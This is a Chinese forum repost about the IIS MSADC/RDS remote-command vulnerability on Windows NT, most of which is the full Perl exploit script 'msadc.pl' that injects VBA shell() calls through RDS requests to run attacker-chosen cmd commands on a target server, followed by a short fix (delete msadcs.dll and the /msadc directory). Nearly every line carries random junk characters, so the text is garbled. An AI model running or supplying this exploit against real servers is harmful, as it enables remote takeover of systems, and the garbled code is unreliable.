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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) n%s%i-[5B  
&(rWl`eTY`  
涉及程序: e~9O#rQI  
Microsoft NT server _XV%}Xb'  
r8J7zTD&  
描述: "y,YC M`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _*fNa!@hY  
Sw\*$g]  
详细: _`|1B$@x  
如果你没有时间读详细内容的话,就删除: 0jf6 z-4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll QEhn  
有关的安全问题就没有了。 DK)W ,z|  
ej`%}e%2  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 bf"'xn9  
hj [77EEz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 RZm%4_p4s  
关于利用ODBC远程漏洞的描述,请参看: <+i(CGw  
I6W`yh`I)  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2J ZR"P  
(+> 2&@@<  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 YAr6 cl  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp d;Vy59}eY  
]:<! (  
这里不再论述。 n qcq3o*B  
<v:VA!]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F4EAC|Y  
GM%+yS}(P  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /kW Z 8Z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q@|+`>h  
$YL9 vJV  
 Y'iX   
#将下面这段保存为txt文件,然后: "perl -x 文件名" .Pc>1#z&[  
lkn|>U[  
#!perl !Zz;;Z  
# .+9hm|  
# MSADC/RDS 'usage' (aka exploit) script ,ks2&e  
# n~N>;m P  
# by rain.forest.puppy ef5)z}B   
# m1"m KM  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ,N.8  
# beta test and find errors! 06&J!,p :  
rFRcK>X\L  
use Socket; use Getopt::Std; ?+yr7_f3*  
getopts("e:vd:h:XR", \%args); %tCv-aX4  
hi7_jl6  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 22`^Rsb,6L  
3o<d= @`r  
if (!defined $args{h} && !defined $args{R}) { <n2@;` D  
print qq~ M";qo6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } w?Te%/s.  
-h <host> = host you want to scan (ip or domain) IC`3%^  
-d <seconds> = delay between calls, default 1 second SepjF  
-X = dump Index Server path table, if available Dp@XAyiA[  
-v = verbose IGdiIhH~2  
-e = external dictionary file for step 5 [2%[~&4  
XH%L]  
Or a -R will resume a command session t&r.Kf9Z\  
7aG.?Ca%  
~; exit;} *;7y5ZJ  
'%N?r,x C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9mF '   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} N'Gq9A  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} R=D]:u<P  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {!"UBALxc  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} vwCQvt  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } )DSeXS[ e  
615Ya<3f8  
if (!defined $args{R}){ $ret = &has_msadc; VF%QM;I[Rc  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B=_w9iVN  
%pC<T*f  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #NS|9jW  
. "cmd /c "; =C"[o\]VV  
$in=<STDIN>; chomp $in; iSW2I~PD  
$command="cmd /c " . $in ; F'bwXb**  
twT/uBQ4a  
if (defined $args{R}) {&load; exit;} =u.@W98, K  
Z%t_1t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; nzq   
&try_btcustmr; })g<I+]Hf9  
uYJS=NGNA  
print "\nStep 2: Trying to make our own DSN..."; &?<uR)tl  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @Jt$92i5PS  
(jc@8@Wo.  
print "\nStep 3: Trying known DSNs...";  5NU{y+  
&known_dsn; j\2Qe %d  
=|3BkmO  
print "\nStep 4: Trying known .mdbs..."; PmR].Ohzi  
&known_mdb; s :vNr@TS  
gf|uZ9{  
if (defined $args{e}){ ~Y 6'sM|  
print "\nStep 5: Trying dictionary of DSN names..."; ,OE&e* 1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /6x&%G:m#  
z.vQ1~s  
print "Sorry Charley...maybe next time?\n"; _NDQ2O  
exit; z@*E=B1L  
B8&q$QV  
############################################################################## 6$u/N gS  
iw@rW5%'~  
sub sendraw { # ripped and modded from whisker 0PzSp ]  
sleep($delay); # it's a DoS on the server! At least on mine... ZmA}i`  
my ($pstr)=@_; VB |?S|<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2Q^ q$@L  
die("Socket problems\n"); M2$/x`\-~  
if(connect(S,pack "SnA4x8",2,80,$target)){ -y`Pm8  
select(S); $|=1; m+QS -woHn  
print $pstr; my @in=<S>; 5Rbl.5. A  
select(STDOUT); close(S); r,5e/X  
return @in; $BqiC!~  
} else { die("Can't connect...\n"); }} u 3WU0Z`  
|G j.E  
############################################################################## =RoE=) 1&-  
L&\W+k  
sub make_header { # make the HTTP request #S>N}<>  
my $msadc=<<EOT G[64qhTC  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 pdu1 kL  
User-Agent: ACTIVEDATA :;$MUOps  
Host: $ip _u]Z+H"  
Content-Length: $clen aDS:82GMQ  
Connection: Keep-Alive Fh~9(Y#  
X3:1KDVsV  
ADCClientVersion:01.06 rZKh}E  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Gb')a/  
0'sZ7f<e7  
--!ADM!ROX!YOUR!WORLD! X5WA-s(?0  
Content-Type: application/x-varg R iZ)FW  
Content-Length: $reqlen B`SX3,3  
;>,B(Xz4i  
EOT V&zeC/xSq  
; $msadc=~s/\n/\r\n/g; s_^`t+5  
return $msadc;} KOixFn1  
=?]`Xo,v~  
############################################################################## {O+T`; =)L  
k>i88^kPV  
sub make_req { # make the RDS request [Rj4= qq=  
my ($switch, $p1, $p2)=@_; wgz]R  
my $req=""; my $t1, $t2, $query, $dsn; kNuvJ/St  
GRc)3 2,  
if ($switch==1){ # this is the btcustmr.mdb query "6,fIsU  
$query="Select * from Customers where City=" . make_shell(); :3F[!y3b  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . h;=~%2Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \Z.r Pq  
O%t? -h  
elsif ($switch==2){ # this is general make table query rtPo)#t  
$query="create table AZZ (B int, C varchar(10))"; kEh9J>|M  
$dsn="$p1";} Y[*.^l._  
[3dGHf;miw  
elsif ($switch==3){ # this is general exploit table query fR1L VLU  
$query="select * from AZZ where C=" . make_shell(); VEV?$R7;  
$dsn="$p1";} 0hY3vBQ!  
`8ob Xb  
elsif ($switch==4){ # attempt to hork file info from index server gmp@ TY=:L  
$query="select path from scope()"; A6z2KVk  
$dsn="Provider=MSIDXS;";} G[}v?RLI  
O 0}uY:B  
elsif ($switch==5){ # bad query F`KXG$  
$query="select"; NXD-  
$dsn="$p1";} JCH9~n.  
\7\sx:!$  
$t1= make_unicode($query); h<L_ =)lH  
$t2= make_unicode($dsn); dr)*.<_+a(  
$req = "\x02\x00\x03\x00"; 4{>r_^8  
$req.= "\x08\x00" . pack ("S1", length($t1)); BMq> Cj+  
$req.= "\x00\x00" . $t1 ; , S^y>  
$req.= "\x08\x00" . pack ("S1", length($t2)); Pk&=\i<  
$req.= "\x00\x00" . $t2 ; E2|M#Y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; IAA_Ft  
return $req;} 'qVlq5.  
>QDyG8*  
############################################################################## DXJw)%G w  
Zzlt^#KLx  
sub make_shell { # this makes the shell() statement hq4&<Zr(  
return "'|shell(\"$command\")|'";} ; &rxwL  
+:Xg7H*  
############################################################################## z<Z0/a2'1  
"IS; o o$g  
sub make_unicode { # quick little function to convert to unicode xM{[~Kh_x  
my ($in)=@_; my $out; !"FEp  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q>[{9bI4QP  
return $out;} >07i"a  
 Z/Wf  
############################################################################## e O~p"d-|  
_9-;35D_  
sub rdo_success { # checks for RDO return success (this is kludge) M*'8$|Z  
my (@in) = @_; my $base=content_start(@in); ]G&[P8hz B  
if($in[$base]=~/multipart\/mixed/){ UV|{za$&/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} RJ'za1@z;b  
return 0;} o>*`wv  
Sj)?!  
############################################################################## J3+qnT8X  
#++:`Z  
sub make_dsn { # this makes a DSN for us zM8 jjB  
my @drives=("c","d","e","f"); nls$ wE  
print "\nMaking DSN: "; AW;xlY= g  
foreach $drive (@drives) { }2Ge??!  
print "$drive: "; K}q5,P(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . f7zB_hVDmE  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" n[BYBg1yG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m Urb  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -^np"Jk  
return 0 if $2 eq "404"; # not found/doesn't exist TN Z -0  
if($2 eq "200") { pVl7] _=m  
foreach $line (@results) { T&1-gswr:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7aRy])x  
} return 0;} ']Czn._  
0(C[][a*u  
##############################################################################  vWW Q/^  
/:-ig .YY  
sub verify_exists { BGNZE{K4"  
my ($page)=@_; eVj 8u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); gjiS+N[  
return $results[0];} J;V#a=I  
X+;#^A3  
############################################################################## (w_b  
iyR5mA  
sub try_btcustmr { 3]\'Q}  
my @drives=("c","d","e","f"); $v8T%'p+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F)l1%F Cm  
u3cg&lEgT  
foreach $dir (@dirs) { 0/fwAp  
print "$dir -> "; # fun status so you can see progress /^i_tLgb  
foreach $drive (@drives) { !!6@r|.  
print "$drive: "; # ditto ee<'j~{A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Qm[ )[M  
$reqlenlen=length( "$reqlen" ); @Rd`/S@  
$clen= 206 + $reqlenlen + $reqlen; u3X!O  
ieOw&  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \*fXPJ4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} wO%617Av  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} BL0xSNE**  
2_6@&2  
############################################################################## Kk% I N9  
ASS<XNP  
sub odbc_error { 9)F$){G]vs  
my (@in)=@_; my $base; * P12d  
my $base = content_start(@in); r"7 !J[u  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T[ zEAj  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; REOWSs$'  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q)"yP\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PywUPsJ  
return $in[$base+4].$in[$base+5].$in[$base+6];} H'@@%nO (  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k c L +  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . uY&t9L8  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} B .?@VF  
=`qEwA  
############################################################################## |i(@1 l  
OQ3IkE`G  
sub verbose { :dlG:=.W  
my ($in)=@_; UE/iq\a>  
return if !$verbose; TaG (sRI  
print STDOUT "\n$in\n";} $B )jSxSy  
W 6R/{H  
############################################################################## 5n=~l[O  
1mv8[^pF  
sub save { ocj^mxh =O  
my ($p1, $p2, $p3, $p4)=@_; q] '2'"k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; YB9)v5Nz(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |v"&Y  
close OUT;} _]kw |[)  
8$ _8Yva"e  
############################################################################## jq[Q>"f  
DbN_(mC  
sub load { Zu ![v0  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a;G>56iw  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xf3/J{n3  
@p=<IN>; close(IN); Y-y}gc_L  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); l Ztw[c  
$target= inet_aton($ip) || die("inet_aton problems");  )jH|j  
print "Resuming to $ip ..."; =nUzBL%~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %hA0  
if($p[1]==1) { 'DB'lP  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; dJ7!je1N*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Hy2~D:34  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); BKfoeN)%  
if (rdo_success(@results)){print "Success!\n";} ^%RIz!}  
else { print "failed\n"; verbose(odbc_error(@results));}} &bwI7cO  
elsif ($p[1]==3){ @=6$ImU  
if(run_query("$p[3]")){ u:}yE^8@  
print "Success!\n";} else { print "failed\n"; }} bx3kd+J7  
elsif ($p[1]==4){ b59NMGn  
if(run_query($drvst . "$p[3]")){ Hg+bmwM  
print "Success!\n"; } else { print "failed\n"; }} . L]!*  
exit;} oN.#q$\` k  
M~djX} #\  
############################################################################## >^adxXw.o  
joJQ?lG  
sub create_table { BA`K,#Ft7  
my ($in)=@_; X8   
$reqlen=length( make_req(2,$in,"") ) - 28; =\x(Rs3  
$reqlenlen=length( "$reqlen" ); \r&9PkHWo  
$clen= 206 + $reqlenlen + $reqlen; iR{*X E   
my @results=sendraw(make_header() . make_req(2,$in,"")); T@on ue7  
return 1 if rdo_success(@results); \`|OAC0a  
my $temp= odbc_error(@results); verbose($temp); $McbVn)~f  
return 1 if $temp=~/Table 'AZZ' already exists/; a*{ -r]  
return 0;} K7] +. f  
c~n:xblv  
############################################################################## _iZ9Ch\  
Y2P%0  
sub known_dsn { ]t.6bb4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go f/%Q MhM:  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", FSkz[D_}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", f VpE&F  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @x/D8HK2  
>WYradLUi  
foreach $dSn (@dsns) { hH=}<@z   
print "."; ]"-c?%L  
next if (!is_access("DSN=$dSn")); 8G|kKpX  
if(create_table("DSN=$dSn")){ vUgMfy&  
print "$dSn successful\n"; +jGSD@32>  
if(run_query("DSN=$dSn")){ y[I)hSD=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >Ef{e6  
print "Something's borked. Use verbose next time\n";}}} print "\n";} o_on/{qz  
P^& =L&U  
############################################################################## iCh,7I,m  
Ce!xa\  
sub is_access { 5!iBKOl#D  
my ($in)=@_; QX|y};7\e  
$reqlen=length( make_req(5,$in,"") ) - 28; h4k.1yH;  
$reqlenlen=length( "$reqlen" ); I?Ct@yxhF'  
$clen= 206 + $reqlenlen + $reqlen; - DE?L,9X9  
my @results=sendraw(make_header() . make_req(5,$in,"")); >sm<$'vZ/  
my $temp= odbc_error(@results); eaCh;IpIf  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 2H2Yxe7?-  
return 0;} I&|J +B?#  
>}6V=r3[+  
############################################################################## >m4Q*a4M  
YuKg|<WO  
sub run_query { [}Pi $at  
my ($in)=@_; l"1at eM3  
$reqlen=length( make_req(3,$in,"") ) - 28; HMPb%'U~  
$reqlenlen=length( "$reqlen" ); {~+o+LV  
$clen= 206 + $reqlenlen + $reqlen; Q,< V)  
my @results=sendraw(make_header() . make_req(3,$in,"")); NX9K%J  
return 1 if rdo_success(@results); o=y0=,:a?9  
my $temp= odbc_error(@results); verbose($temp); 0`%Ask  
return 0;} ;FO( mL(  
O[<0\  
############################################################################## iFkXt<_A  
X>4qL'b:z  
sub known_mdb { +/4wioGm  
my @drives=("c","d","e","f","g"); m9 D' yXZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P&}J (;Lbl  
my $dir, $drive, $mdb; k5/W'*P  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; qM8"* dL  
b[os0D95  
# this is sparse, because I don't know of many y;xY74Nq  
my @sysmdbs=( "\\catroot\\icatalog.mdb", XAw0Nn   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @z1pE@7jK  
"\\system32\\certmdb.mdb", 8m"jd+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s?~lMm' !  
r0(*]K:.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", br4?_,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |cIv&\ x  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", cPbAR'  
"\\cfusion\\cfapps\\security\\realm_.mdb", $BUm,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", cyPJ( &;  
"\\cfusion\\database\\cfexamples.mdb", x_$`#m{hL5  
"\\cfusion\\database\\cfsnippets.mdb", }(/\vTn*1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ibn(eu<uW  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", cbaa*qoU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M~,N~ N1  
"\\cfusion\\database\\smpolicy.mdb", Td,s"p>Vq  
"\\cfusion\\database\cypress.mdb", "^NsbA+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", + [~)a 4#  
"\\website\\cgi-win\\dbsample.mdb", C q)Cwc[H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", +Hk r\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Eu|O<9U\  
); #these are just Wf:LYL  
foreach $drive (@drives) { =>htX(k}  
foreach $dir (@dirs){ 9>T5~C'*  
foreach $mdb (@sysmdbs) {  rBUWzpE"  
print "."; )];Bo.QA  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ am+w<NJ(us  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $(+#$F<eo+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ;DX g  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uZe"M(3r$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} hI 1or4V  
{@ Z=b 5/P  
foreach $drive (@drives) { Yan}H}Oq  
foreach $mdb (@mdbs) { kJK*wq]U6  
print "."; :JIJ!Xn)  
if(create_table($drv . $drive . $dir . $mdb)){ w0^}c8%WR  
print "\n" . $drive . $dir . $mdb . " successful\n"; 2;ju/9 x  
if(run_query($drv . $drive . $dir . $mdb)){ \wF- [']N  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; sf"vii,1A  
} else { print "Something's borked. Use verbose next time\n"; }}}} -CLBf'a  
} eI,H  
(\UpJlW  
############################################################################## DR7JEE  
?&?5x%|.<  
sub hork_idx { (7Ln~J*  
print "\nAttempting to dump Index Server tables...\n"; otbr8&?-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; OJiwI)a9  
$reqlen=length( make_req(4,"","") ) - 28; V5'(op/  
$reqlenlen=length( "$reqlen" ); '<{Jlz(u9  
$clen= 206 + $reqlenlen + $reqlen; `j8pgnY>5~  
my @results=sendraw2(make_header() . make_req(4,"","")); }0,dG4Oo=  
if (rdo_success(@results)){ 7n,=`0{r  
my $max=@results; my $c; my %d; {mUt|m 7!  
for($c=19; $c<$max; $c++){ XAZPbvG|$  
$results[$c]=~s/\x00//g; {krBAz&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V1haAP[#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9yz@hdG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]>B4  
$d{"$1$2"}="";} _L+j6N.h1  
foreach $c (keys %d){ print "$c\n"; } 0n}v"61q  
} else {print "Index server doesn't seem to be installed.\n"; }} ne: 'aq  
60 %VG  
############################################################################## 3 Ak'Ue  
05:?5M4};  
sub dsn_dict { %JgdLnQE  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); !yd ]~t 5Q  
while(<IN>){ $[Q;{Q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; w{ ;Sp?Os  
next if (!is_access("DSN=$dSn")); %o 5'M^U  
if(create_table("DSN=$dSn")){ J/IRCjQ}  
print "$dSn successful\n"; 9kh MG$  
if(run_query("DSN=$dSn")){ 1nw\?r2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1tLEKSo+  
print "Something's borked. Use verbose next time\n";}}} bB>.dC  
print "\n"; close(IN);} TOhWfl;  
,}O33BwJp  
############################################################################## r.lHlHl  
wX$|(Y }  
sub sendraw2 { # ripped and modded from whisker KY}H-  
sleep($delay); # it's a DoS on the server! At least on mine... % m"Qg<  
my ($pstr)=@_; '4_c;](W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || SU1N*k#-o  
die("Socket problems\n"); y+Hz(}4  
if(connect(S,pack "SnA4x8",2,80,$target)){ g/_0WW]}  
print "Connected. Getting data"; 8Ihl}aguW  
open(OUT,">raw.out"); my @in; 2W2T  
select(S); $|=1; print $pstr; +xvn n  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} y$9! rbL  
close(OUT); select(STDOUT); close(S); return @in; ,@/O\fit)  
} else { die("Can't connect...\n"); }} ;rF[y7\  
k'k}/Hxub  
############################################################################## ,<Z,-0S  
z:$ibk4#h  
sub content_start { # this will take in the server headers shw"TF>?zG  
my (@in)=@_; my $c; !l=)$RJKdD  
for ($c=1;$c<500;$c++) { O@4J=P=w  
if($in[$c] =~/^\x0d\x0a/){ ];lZ:gT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } m[KmXPFht1  
else { return $c+1; }}} .6T0d 4,1  
return -1;} # it should never get here actually ]%y>l j?Y  
6M. |W;  
############################################################################## Sb> &m  
KPI96P  
sub funky { e0h[(3bXs$  
my (@in)=@_; my $error=odbc_error(@in); @"MQ6u G>  
if($error=~/ADO could not find the specified provider/){ 8#V D u(  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G<Eb~]. 1'  
exit;} yi*EobP  
if($error=~/A Handler is required/){ \hZ%NL j  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;Xy=;Z.]i  
exit;} dzBP<Xyh  
if($error=~/specified Handler has denied Access/){ \Dy|}LE  
print "\nServer has custom handler filters (they most likely are patched)\n"; gFKJbjT|  
exit;}} QF\nf_X  
)-emSV0zE  
############################################################################## @aZTx/  
:>2wVN&\c  
sub has_msadc { Z#L4n#TT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^a_a%ws  
my $base=content_start(@results); IlB8~{p_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); pITF%J@_]  
return 0;} ?q9] H5\  
XWnP(C9?  
######################## <y] 67:"<v  
Uu5(/vw]  
|[IyqWG9  
解决方案: w\YS5!P,V  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll z&tC5]#  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5b7(^T^K  
KU/r"lMNlU  
拿出来充数 哈哈
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